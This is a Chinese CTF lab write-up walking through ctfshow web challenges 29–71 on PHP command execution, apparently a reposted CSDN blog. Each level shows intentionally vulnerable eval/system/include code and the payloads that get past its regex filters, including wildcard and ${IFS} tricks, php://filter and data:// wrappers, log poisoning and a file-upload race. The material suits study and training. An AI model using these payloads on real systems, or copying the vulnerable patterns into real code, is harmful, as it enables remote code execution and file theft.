CTFshow-命令执行

目录

ctfshow-web-29

ctfshow-web-30

ctfshow-web-31

ctfshow-web-32

ctfshow-web-33

ctfshow-web-34

ctfshow-web-35

ctfshow-web-36

ctfshow-web-37

ctfshow-web-38

ctfshow-web-39

ctfshow-web-40

ctfshow-web-41

ctfshow-web-42

ctfshow-web-43

ctfshow-web-44

ctfshow-web-45

ctfshow-web-46

ctfshow-web-47

ctfshow-web-48

ctfshow-web-49

ctfshow-web-50

ctfshow-web-51

ctfshow-web-52

ctfshow-web-53

ctfshow-web-54

ctfshow-web-55

ctfshow-web-56

ctfshow-web-57

ctfshow-web-58-65

ctfshow-web-66

ctfshow-web-67

ctfshow-web-68

ctfshow-web-69-70

ctfshow-web-71


学习过信息收集和爆破之后接下来就是命令执行。由于ctfshow中命令执行部分的题目过多,本文章将会持续更新。

ctfshow-web-29

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

通过get请求c,正则过滤flag。这里使用的两种方法:

方法一:使用system('ls');查看当前目录下的文件有什么;payload:?c=system('ls');

发现了当前目录下就存在着flag.php,尝试读取flag.php文件中的内容,使用cat命令,这里由于flag被搬掉了,可以使用*或者是?占位符来进行读取。payload:?c=system('cat fla?.php');查看后台源代码即可发现flag。

方法二:使用nl命令。

nl (Number of Lines) 将指定的文件添加行号标注后写到标准输出。如果不指定文件或指定文件为"-" ,程序将从标准输入读取数据。

那么构造payload:?c=echo `nl fla''g.php`;

ctfshow-web-30

if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
}
//相比上一个题,这里增加了过滤,对php和system均进行了过滤。

这里还是使用了两种方法,远不止这两种方法!

第一种方法:还是使用了nl命令,通过占位符来绕过,当然也可以使用''(两个单引号来绕过对flag和php的过滤)

payload:?c=echo `nl fla?.???`;或者是?c=echo `nl fla''g.p''hp`;

第二种方法:由于禁用了system,还有很多的命令执行函数,例如exec()、passthru()、shell_exec()等,所以这里我是用了passthru()来绕过对system的限制。

payload:?c=passthru('cat fla*');

ctfshow-web-31

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

正则中过滤的关键字变多了,不允许出现’ . 空格以及cat。这里可以使用include或者是require再次包含一个GET请求,再使用其他的变量去读取flag.php中的内容。因为正则是对变量c进行了过滤,但是并没有对其他的变量进行过滤。故构造payload为:

?c=include$_GET[x];&x=php://filter/read=convert.base64-encode/resource=flag.php

这里使用了php://filter伪协议进行对flag.php的内容进行读取,结果转换为base64输出,这里还有其他的编码的形式如rot-13。

?c=require$_GET[x];&x=php://filter/read=string.rot13/resource=flag.php

ctfshow-web-32

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

相比上一关,增加了对`、echo、;以及(的过滤。这里还是可以使用上一关的payload来绕过。但是有一点点改动,就是对于;的过滤,要想办法去绕过。可以使用?>来闭合绕过。

?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

拿到结果直接进行base64解码即可获取到flag。

ctfshow-web-33

如上面的payload即可得到flag。

ctfshow-web-34

如上面的payload即可得到flag。

ctfshow-web-35

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

虽然过滤的关键字更多了,但是并没有过滤掉我们上面使用的payload中的关键字,所以还是可以使用上面的payload来完成。

?c=require$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

ctfshow-web-36

36关,也是使用上面的payload来完成,虽然增加了某些关键字,还是不妨碍我们使用。

ctfshow-web-37

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

37变得不一样了,通过GET请求得到c变量,然后正则判断是否存在flag,之后将c进行包含,在输出flag。

我们可以使用data://伪协议完成,将我们的代码写入。

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
?c=data://text/plain,<?php system('cat fla*');?>

ctfshow-web-38

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

三种方法(我了解的):

第一种还是使用data伪协议来完成。不过要经过base64编码。使用上面的payload即可完成。

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

第二种方法:就是通过包含日志文件。nginx的日志文件/var/log/nginx/access.log

这里可以抓包看一下日志文件中存在着什么。

通过c变量去访问nginx的日志文件。得到了:

发现日志文件中记载了数据包中的各种信息,因此应该是通过抓包,可以将UA的头中的信息进行修改,添加上我们要实现的代码。此时日志中就记载了我们的php代码。通过访问日志文件去得到flag。

然后这里再去访问一下日志文件,通过查看网页源代码就可以找到flag。

第三种:

由于正则过滤了php所以我们的<?php ?>,就被过滤了,这里可以使用短标签。用=代替php。

payload:?c=data://text/plain,<?=system('cp fla* 1.txt');?>

将flag.php内容copy到1.txt中(也可以使用mv命令 ?c=data://text/plain,<?=system('mv fla* 1.txt');?>),之后在去访问1.txt。

ctfshow-web-39

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

这里没有回显了,并且还强制的加上了.php。我们再尝试data协议。尝试payload:?c=data://text/plain,<?php phpinfo();?>

发现还是可以的,直接rce了。

将payload修改为?c=data://text/plain,<?php system('cat fla*')?>

ctfshow-web-40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

屏蔽了许多的字符,这里发现了字母没有过滤,分号也没有。

这里网上对多的payload为:show_source(next(array_reverse(scandir(pos(localeconv())))));目前我还没有研究明白,后续搞懂了会更新。

还有一种是这样的:通过变量来获取。

首先就是查看已经定义好的所有的变量。使用get_defined_vars()函数,返回由所有已定义变量所组成的数组。版本要求:PHP 4 >= 4.0.4, PHP 5, PHP 7

使用print_r()函数,将已经定义好的变量组成的数组进行打印输出。payload:?c=print_r(get_defined_vars())

发现由GET、POST等,这里我们就可以使用POST传入一个参数看一下。

post传参为1=phpinfo();使用payload:?c=print_r(next(get_defined_vars()));

之后我们的思路就是将他的值取出来,然后去执行它。这里使用array_pop()函数将他的值弹出来,通过eval()函数来执行。

发现已经可以rce,修改post的值就可以了1=system('cat flag.php');

ctfshow-web-41

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

发现过滤了数字、字母都不可以使用了。所以想到了无数字字母的命令执行。通过异或来实现操作。刚好没有过滤掉|(或运算),所以可以通过两个字符的ASCII进行异或来得到我们想要的字符。yu师傅给出了两个脚本,膜拜了!

ctfshow-web-42

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}
?>

又接触到了新的知识,刚开始看见这个>/dev/null 2>&1直接不知道这是什么东西。查询资料之后,明白了。大致上说一下。

0:表示键盘输入

1:表示标准输出(系统默认是1)

2:表示标准错误输出

>:表示重定向到那里

/dev/null:表示linux的空设备文件

1>/dev/null:表示标准输出到linux的空设备文件中,也就是说不输出任何的信息到终端上,不显示任何的信息。

2>&1:表示标准错误重定向等同于标准输出,由于之前>/dev/null默认前面省略了1,写全的话应该是这样:1>/dev/null,表示将标准输出重定向到了空设备文件中。所以总体上就是将标准错误输出和标准输出同时输出到空设备文件中。

所以这条命令的意思就是在后台执行这个程序,并将标准错误输出2重定向等同于标准输出1,然后将标准输出1全部重定向到空设备文件,也就是清空,不显示任何的信息。

对于本题来说,没有任何的过滤,这里只是没有任何的输出信息,但是可以使用命令的分隔符来绕过。

payload:?c=tac flag.php;

ctfshow-web-43

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这里过滤了分号和cat,所以我们可以使用其他的命令分隔符来实现,||或者&&都可以。cat过滤的话,就可以使用tac。

payload:?c=tac flag.php&&(&符号需要经过url编码)

ctfshow-web-44

本关增加了对flag的过滤,所以我们可以使用占位符来绕过。占位符两种一种就是?另一种是*

payload:?c=tac fla*.php||

payload:?c=tac fla?.php||

ctfshow-web-45

增加了对空格的过滤。对于空格的绕过,有以下几种方法,一种就是使用ASCII码水平制表符(%09)。还有%20、%3c、${IFS}、$IFS$9等

这里我用了${IFS}来绕过。

payload为:payload:?c=tac${IFS}fla?.php||

ctfshow-web-46

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这里过滤了数字和$以及*。我们先看一下我们上一贯使用payload:?c=tac${IFS}fla?.php||

对于过滤了$,导致我们不能使用${IFS}以及$IFS$9来绕过空格,但是我们还是可以使用%09来绕过,虽然这里是存在数字的,但是可以这样理解%09作为一个整体,被url解码之后就变成了水平制表符,并不是数字。所以构造的payload为:?c=tac%09fla?.php||

ctfshow-web-47

在47关,虽然过滤的关键字变多了,但是不妨碍我们使用上一关的payload继续打。

payload为:?c=tac%09fla?.php||

ctfshow-web-48

48关同样还是使用上一关的payload继续打。/?c=tac%09fla?.php||

ctfshow-web-49

49关同样还是使用上一关的payload继续打。/?c=tac%09fla?.php||

ctfshow-web-50

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

nl命令是将内容加上行号进行输出。这里可以使用nl命令通过<、<>来绕过空格。

payload:?c=nl<>flag.php||。由于过滤了flag,所以可以使用两个单引号来绕过,这里在cat中不能使用这种方法。故我们的payload为?c=nl<>fla''g.php||

查看网页源代码即可。

ctfshow-web-51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在上一关的基础上增加了对tac的过滤,所以也有多种方式来绕过,首先就是使用tac、cat命令,因为这两个命令被过滤,但是我们可以在关键字之间加上\ 或者''来绕过对cat、tac的匹配,上一关说到空格可以使用<、<>来绕过,因为过滤了%所以不能使用%09来绕过。当然还可以继续使用nl命令,nl<>fla''g.php||

ctfshow-web-52

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在上一关的基础上过滤了<、>但是没有过滤$,所以这里可以使用${IFS}绕过空格。

payload:c=ca''t${IFS}fla''g.php||

发现是假的,那就看看根目录有什么。c=ls${IFS}/||         发现了flag,之后便是读取根目录下面的flag。

ctfshow-web-53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

通过get方式传入参数c的值,只要匹配不到上述过滤的关键字,那么就会输出我们传入的c的值,之后便是直接通过system执行变量c,尝试直接传入ls,发现命令执行成功。

最后便是通过cat、nl、tac命令来读取flag。ca''t${IFS}fla?.php

ctfshow-web-54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

使用通配符进行过滤了,就不用上面的命令了,可以使用mv,将flag.php移动到1.txt,之后便可以直接去访问1.txt。

c=mv${IFS}fla?.php${IFS}1.txt

ctfshow-web-55

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

我太菜了,对我来说这道题有点难,看了大佬的wp,提醒.号没有被过滤,也就是说可以通过.号去执行sh命令,那么通过POST上传一个文件,在上传的过程中,去.执行这个文件,形成条件竞争。文件中的内容就是我们要通过sh执行的命令。

一般上传的文件会被保存到linux中的/tmp/php??????,后面的6个?是随机生成的大小写。这里还要注意的是不要直接使用/tmp/php??????,否则?的部分会被匹配成小写,所以我们要通过[@-[]来匹配大写。

构造上传文件的页面:无字母数字的命令执行(ctfshow web入门 55)_Firebasky的博客-CSDN博客_无字符命令执行

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

ctfshow-web-56

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

无字母数字webshell。可以看p神的文章。

一些不包含数字和字母的webshell | 离别歌

无字母数字webshell之提高篇 | 离别歌

这里还是可以使用POST方式上传文件,利用条件竞争,执行命令。

ctfshow-web-57

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

过滤了. 学到了一种新的方法:$(())=0  $((~$(())))=-1

(())是用来进行整数运算的命令,内部可以加上表达式,默认是相加的。36可以通过外层为$(())包裹内层,可以运算出36的表达式构造。36可以由-37取反得到。那么就是先得到-37。也就是37个$((~$(())))便可以得到-37。之后便可以将他们整体在进行一次取反,便可以得到36.

payload:c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

ctfshow-web-58-65

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

POST提交参数c的值,再将c的值赋值给变量c,直接eval,执行变量c的值。

这里过滤了很多的函数,比如我们常见的命令执行函数system、passthru、shell_exec等

这里我们可以通过scandir来扫描目录。通过var_dump、print_r进行输出。至于怎么来查看flag。可以使用highlight_file、show_source。

ctfshow-web-66

源码还是那个源码,同样还是通过scandir看一下当前目录下面有什么,发现了flag.php,继续show_source('flag.php')。哦~

那就看看根目录下面都有些什么吧。发现flag.txt那么就show_source('/flag.txt') 。又发现show_source被禁用了,那就是用highlight_file('/flag.php');

ctfshow-web-67

源码一直没变,只是禁用的函数逐渐变多了,这一关禁用了print_r函数,那么我们就是用var_dump(scandir('/'));

发现了flag.txt之后就是通过highlight_file('/flag.txt')读取文件的内容。

ctfshow-web-68

打开就是这样的,看来源码中存在着highlight_file()所以出现了这样的情况。还是先使用上一关的payload继续打试试看。

还是发现了在根目录下的flag.txt,之后就是通过show_source()、highlight_file()。但是都被禁止了。那么还是可以使用文件包含函数,像require、include、require_once、include_once。

ctfshow-web-69-70

 在上一关的基础上,将我们使用print_r、以及var_dump都被过滤了,那么怎么办?我也没招,看到大佬还有一个可以代替var_dump的就是var_export,之后还是通过require、include、require_once、include_once等将根目录下的flag.txt包含进来,因为flag.txt中不是代码,所以直接包含。

ctfshow-web-71

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

直接给了源码了。代码审计一波,POST传c赋值给变量c,直接eval,然后ob_get_contents()的内容赋值给变量s,执行ob_end_clean()函数。将变量s中的字母数字全部替换为?进行输出。

了解下这两个函数:

ob_get_contents():返回输出缓冲区的内容,只是得到输出缓冲区的内容,但不清除它。此函数返回输出缓冲区的内容,或者如果输出缓冲区无效将返回FALSE 。

ob_end_clean():清空(擦除)缓冲区并关闭输出缓冲,此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。

大概了解了这两个函数之后,感觉可以写两条语句,尝试执行c=var_export(scandir('/'));die();成功。

或者是使用exit()代替die()也可以。

猜你喜欢

转载自blog.csdn.net/weixin_44770698/article/details/125460386